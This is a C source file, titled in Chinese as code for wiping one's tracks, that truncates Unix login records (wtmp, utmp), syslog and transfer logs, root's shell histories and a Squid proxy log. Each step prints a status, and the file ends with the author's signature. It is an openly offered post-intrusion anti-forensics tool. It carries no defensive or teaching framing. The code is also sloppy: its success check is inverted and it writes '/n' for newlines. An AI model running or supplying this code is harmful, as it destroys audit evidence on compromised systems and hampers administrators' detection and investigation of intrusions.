洗脚走路的源代码

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
 
main()
{
int fp;
system("echo>/var/log/wtmp");
if((fp=open("/var/log/wtmp",O_TRUNC,0))==-1)
{printf("Cleaned /var/log/wtmp.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /var/log/wtmp.......OK!/n");
}
system("echo>/var/log/utmp");
if((fp=open("/var/log/utmp",O_TRUNC,0))==-1)
{printf("Cleaned /var/log/utmp.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /var/log/utmp.......OK!/n");
}
 
system("echo>/var/log/messages");
if((fp=open("/var/log/messages",O_TRUNC,0))==-1)
{printf("Cleaned /var/log/messages.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /var/log/messages.......OK!/n");
}
system("echo>/var/log/xferlog");
if((fp=open("/var/log/xferlog",O_TRUNC,0))==-1)
{printf("Cleaned /var/log/xferlog.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /var/log/xferlog.......OK!/n");
}
 
system("echo>/var/adm/wtmp");
if((fp=open("/var/adm/wtmp",O_TRUNC,0))==-1)
{printf("Cleaned /var/adm/wtmp.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /var/adm/wtmp.......OK!/n");
}
system("echo>/var/adm/utmp");
if((fp=open("/var/adm/utmp",O_TRUNC,0))==-1)
{printf("Cleaned /var/adm/utmp.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /var/adm/utmp.......OK!/n");
}
 
system("echo>/var/adm/messages");
if((fp=open("/var/adm/messages",O_TRUNC,0))==-1)
{printf("Cleaned /var/adm/messages.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /var/adm/messages.......OK!/n");
}
system("echo>/var/adm/xferlog");
if((fp=open("/var/adm/xferlog",O_TRUNC,0))==-1)
{printf("Cleaned /var/adm/xferlog.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /var/adm/xferlog.......OK!/n");
}
 
 
system("echo>/etc/wtmp");
if((fp=open("/etc/wtmp",O_TRUNC,0))==-1)
{printf("Cleaned /etc/wtmp.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /etc/wtmp.......OK!/n");
}
system("echo>/etc/utmp");
if((fp=open("/etc/utmp",O_TRUNC,0))==-1)
{printf("Cleaned /etc/utmp.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /etc/utmp.......OK!/n");
}
 
system("echo>/etc/messages");
if((fp=open("/etc/messages",O_TRUNC,0))==-1)
{printf("Cleaned /etc/messages.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /etc/messages.......OK!/n");
}
 
system("echo>/root/.sh_history");
if((fp=open("/root/.sh_history",O_TRUNC,0))==-1)
{printf("Cleaned /root/.sh_history.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /root/.sh_history.......OK!/n");
}
 
system("echo>/root/.bash_history");
if((fp=open("/root/.bash_history",O_TRUNC,0))==-1)
{printf("Cleaned /root/.bash_history.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /root/.bash_history.......OK!/n");
}
 
system("echo>/usr/local/squid/logs/access.log");
if((fp=open("/usr/local/squid/logs/access.log",O_TRUNC,0))==-1)
{printf("Cleaned /usr/local/squid/logs/access.log.......BAD!/n/n");
close(fp);
}
else
{
printf("Cleaned /usr/local/squid/logs/access.log.......OK!/n");
}
 
printf("/n/n*****************do it by Kiss you !*********************/n/n");
}